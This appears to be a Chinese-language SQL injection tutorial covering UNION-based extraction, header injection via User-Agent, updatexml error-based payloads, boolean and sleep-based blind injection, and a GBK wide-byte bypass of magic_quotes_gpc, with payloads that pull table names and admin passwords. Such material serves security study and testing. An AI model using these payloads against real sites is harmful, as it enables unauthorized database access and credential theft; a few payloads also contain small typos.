赞
踩
程序开发过程中不注意书写规范,对sql语句和关键字未进行过滤
注入攻击的本质,把用户输入的数据当做代码执行
一. 判断是否存在注入
传参后面加单双引号查看是数字型还是字符型(数字型不用加单双引号)
id=1’ //页面报错可能用了单引号闭合 字符型
id=2" //页面报错可能用了双引号闭合 字符型
id=2-1 //页面有变化,数字型
(如果报错可能存在注入,如果怎么都不报错可能过滤了单双引号)
第二种判断
and -1=-1 # //页面正常 #号为注释符
and -1=-2 # //页面不正常
二 .猜字段
判断有注入后,需要union进行联合查询,联合查询必须字段相同
需要使用order by 猜字段
?id=1 order by 1
三.查看输出点
order by 判断得出的字段数,用union查看输出点,有几个字段填几个
?id=1 union select 1,2,3
四.查询当前库名,数据库版本
database()//当前数据库
version()//数据库版本
?id=1 union select 1,2,database() //输出位在哪里就在哪里
五.使用自带库查询表名,字段名
mysql在5.0以上版本加入了information_schema系统自带库,保存着其他数据库的信息
查询表
?id=1 union select 1,2, table_name from information_schema.tables where table_schema=database() limit 0,1
六.查询表里面的字段
?id=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1.1
七.查询字段里面的内容
?id =1 union select 1,2,password from admin
组合在一起输出可以使用group_concat()
post注入跟get注入本质上没有区别,只是传参的方式不一样
POST注入一般出现在:
登陆框
查询框
各种跟数据库有交互的框
PHP中的超全局变量
$_REQUEST
$_POST
$_GET
$_COOKIE
$_SERVER(包含了头信息(header),路径,脚本位置)
$_SERVER功能强大
常用的有:
$_SERVER[‘HTTP_REFERER’] //获取referer请求头数据
$_SERVER[“HTTP_USER_AGENT”] //获取用户的相关信息,如浏览器,操作系统等信息
$_SERVER[“REMOTE_ADDR”] //浏览网页的ip
请求头里为什么会有注入
比如有的网站会记录你的ip,记录的ip要放进数据库,如果跟它前面的sql语句闭合了,就会产生sql注入
(X-Forwarded-For) 是用来识别通过HTTP代理或负载均衡方式连接到web服务器的客户端最原始的ip地址的HTTP请求头
一般在请求头里的注入不会有回显,这就需要用到报错注入
报错注入用到的函数
updatexml() //更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新内容)
updatexml(1,concat(0x7e,(select database()),0x7e),1)
这里去更新了xml文档,在xml文档路径的位置写入子查询,我们输入特殊字符,然后不符合规则报错了,但是报错的时候已经执行了那个子查询
0x7e是16进制,一个特殊符号,用来报错的,使用了特殊字符不符合路径规则就会报错
uagent注入
$uagent = $_SERVER['HTTP_USER_AGENT'];
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
查询当前数据库
’ or updatexml(1,concat(0x7e,(select database()),0x7e),1),1) #
查询表
’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1),1) #
查询字段
’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1.1),0x7e),1),1) #
盲注就是在服务器没有错误回显的时候完成的注入攻击
盲注需要掌握的几个函数:
length() 返回字符串的长度
substr() 截取字符串
ascii() 返回字符的ascii码
sleep() 延时
if(a,b,c) 判读语句,如果a正确就执行b,如果错误执行c
猜当前数据库名长度
id=1 and (length(database()))>10 //判断库名长度是否大于10
利用ascii码猜当前数据库名称
id=1 and (ascii(substr(database(),1,1)))>100 //猜数据库名第一位的ascii码
猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100 //猜数据库表名的第一个ascii码
猜字段名
and (ascii(substr((select column_name from information_schema.column where table_schema=database() and table_name=‘aaa’ limit 1,1),1,1)))>100
猜内容
and (ascii(substr((select aaa from bbb limit 0,1),1,1)))>100
判断数据库名
and if(ascii(substr(database(),1,1))>100,sleep(10),0)
猜表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(10),0)
…
PHP的防御函数 magic_quotes_gpc
magic_quotes_gpc(魔术引号)
//当php传参中有特殊字符就会再前面加转义字符"",来做一定的过滤
如单引号(’),双引号("),反斜线()等字符都会被加上反斜线
如果单引号和双引号都被转义成了字符,就无法闭合,我们数据的数据就不会被当做代码执行
就不会产生sql注入
使用GBK编码绕过
GBK编码是一种多字符编码,使用了双字节编码方案如:gbk字符 ‘運’ 的编码是%df%5c
因为(\)我们无法注入, (\)编码是%5c ,我们是不是可以用%df把%5c吃掉变成運字
如:
id='1'
//加单引号闭合后面注释,'号会被转义
id='1\'#'
//使用%df,\会变成一个運字,
id='1運'#'
//接下来就可以测试了
id='1運' and 1=1 #'
当我们去查询字段得时候需要指定表名,需要用到’ '号不能使用%df了
我们可以使用字查询
或者使用16进制
?id=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘password’ limit 1.1
union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x70617373776f7264 limit 1.1
post注入里可以直接使用 ‘汉’ 字
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。